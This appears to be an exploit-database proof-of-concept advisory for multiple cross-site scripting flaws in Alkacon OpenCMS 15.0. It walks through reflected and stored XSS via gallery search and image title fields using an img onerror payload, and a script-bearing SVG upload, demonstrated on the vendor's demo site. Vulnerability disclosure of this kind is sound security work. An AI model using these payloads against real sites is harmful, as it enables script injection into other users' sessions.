Alkacon OpenCMS 15.0 Cross Site Scripting

# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting# Date: 1/07/2023# Exploit Author: tmrswrr# Vendor Homepage: http://www.opencms.org# Software Link: https://github.com/alkacon/opencms-core# Version: v15.0POC:1 ) Login in demo page , go to this urlhttps://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!2 ) Click /.galleries/ , after right click any png file  , open gallery, write in search button this payload<img src=. onerror=alert(document.domain)>3 ) You will be see alert boxPOC:1 ) Go to this url , right click any png file, rename title section and write your payload :  <img src=. onerror=alert(document.domain)>https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!2 ) You will be see alert box , stored xss POC:1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg fileafter save it svg file:<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  <script type="text/javascript">    alert("XSS");  </script></svg>2 ) When click this svg file you will be see alert button